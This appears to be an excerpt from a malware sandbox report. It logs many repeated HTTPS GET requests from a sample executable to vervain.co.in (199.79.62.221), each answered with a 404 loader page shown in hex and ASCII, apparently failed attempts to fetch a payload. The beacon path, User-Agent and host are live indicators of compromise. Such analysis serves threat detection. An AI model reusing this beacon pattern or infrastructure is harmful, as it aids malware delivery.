2022-08-05 13:09:50 UTC	55	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49834	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:50 UTC	55	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:51 UTC	56	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:51 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:51 UTC	56	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49835	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:51 UTC	56	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:52 UTC	57	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:52 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:52 UTC	57	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49761	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:29 UTC	5	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:29 UTC	5	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:29 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:29 UTC	6	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49836	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:53 UTC	57	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:53 UTC	58	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:53 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:53 UTC	58	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49837	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:54 UTC	58	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:54 UTC	58	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:54 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:54 UTC	59	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49838	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:55 UTC	59	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:55 UTC	59	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:55 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:55 UTC	60	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49839	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:56 UTC	60	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:56 UTC	60	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:56 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:56 UTC	61	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49841	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:57 UTC	61	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:57 UTC	61	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:57 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:57 UTC	62	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49842	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:58 UTC	62	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:59 UTC	62	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:58 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:59 UTC	63	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49843	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:59 UTC	63	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:00 UTC	63	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:00 UTC	64	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49844	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:00 UTC	64	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:01 UTC	64	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:01 UTC	65	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49845	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:02 UTC	65	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:02 UTC	65	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:02 UTC	66	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49846	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:03 UTC	66	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:03 UTC	66	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:03 UTC	66	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49762	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
